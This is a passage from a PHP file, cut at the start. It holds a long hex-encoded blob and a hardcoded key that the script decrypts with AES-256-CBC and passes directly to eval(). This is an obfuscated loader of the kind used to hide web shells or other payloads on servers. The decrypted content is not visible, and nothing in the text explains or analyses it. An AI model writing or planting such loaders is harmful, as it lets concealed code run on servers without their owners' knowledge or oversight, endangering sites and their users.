f460ffd4a909b21a4272b250ab6ed8aa4890df04e2ff480da399f01ef250187ed007289b3be3327028056f4efa6b64e26ee3b4598ca2aec58c69dbb5ac54da6b0399c50f4eb3637d63dbf43255145798864a976bce8e1130e7df4c5e6ad6bca38398279e0a7e503933d675325f3c25d6e7b06f61129fafc30e3c51f1f9240b2dc2b578f783256f904a938ce37608b67d8d05be55d4481cb84b8b0cdcce83024ff494801381bad83c02457e85914a3209f7dd77207aa15099e23874a467fd60bb88b47720f21c17175a5403c2343859dd1a8153b1846f2f4f50b2dfe93c366798622f7b84b6c3cc971ac61ce616b4ed5f883f994b4e2aa4773122f38d837806959702d336ab8e257052a4762291b2eff4bd48a38aa3ec4b9a81a7cf97d06ec006dbf7bebd647c8be5610df69ff795ace34f33b7920245612e82b3e720714d71d2282c7f0c4ebdc5de7beecbe7889bab9e08fd5d6d6654d9f2756964be773bef1662b195d23577de52df8d4015c9de35a4db41771b795d8bb436f2fd2bc93d630c112345caea1d64ee15a96c68871b01709acebfc5c15b558e03393011fc834b85889fff1e0d7c114129d7d519d70d92d32763ebdd24a3018d8b46b8d5fb5809c15c05120a82552202e7e8d803c7c2ab35a2c532fc17dee32c1050255870791469715b29dd5e94066c6411db8570a572421a267f7855f6b41b558f8118a42574e472017d0c10db2650bb617660d9e3bc392d0b4e10e35eea59465b0a029f8b2e2f9a19b8a5d074e7e0103c58f16c9a4608dd8aff4de7270587017bf408aa25f7ebafcad5ae754e136d6dd5fdfc12c1984a676f3641ba1bc9574eaa6ac45ba17b0739684ae4020b48074a41fe26480126b125b43b3d8ff483fdf872591955130854bc324c36880cdb31a462cb19c8c43b3ed33928eebfdefaccef447174c190e5864457351108414b01ea2042fc225ab1fe13697448da9d23b1a97b317821161f0035ac6481fc01567938efa696b2458c12a3004076d75f71b47d66ff3c6c640f79e2874f877f409c46d96fa232a4c9fe91fbabbb167eb2";
$key = "caedf7bc03607bf94d4a4070b1bd54e85207a16a1108f3f2c72b4357b5c78aa2";
function decryptFile() {
$data = hex2bin($GLOBALS["data"]);
$key = hex2bin($GLOBALS["key"]);
$ivLength = openssl_cipher_iv_length("aes-256-cbc");
$iv = substr($data, 0, $ivLength);
$encryptedData = substr($data, $ivLength);
$decryptedData = openssl_decrypt($encryptedData, "aes-256-cbc", $key, OPENSSL_RAW_DATA, $iv);
if ($decryptedData === false) {
throw new Exception("Decryption failed: " . openssl_error_string());
}
return $decryptedData;
}
$decryptedData = decryptFile();
eval("?> ".$decryptedData);
?> |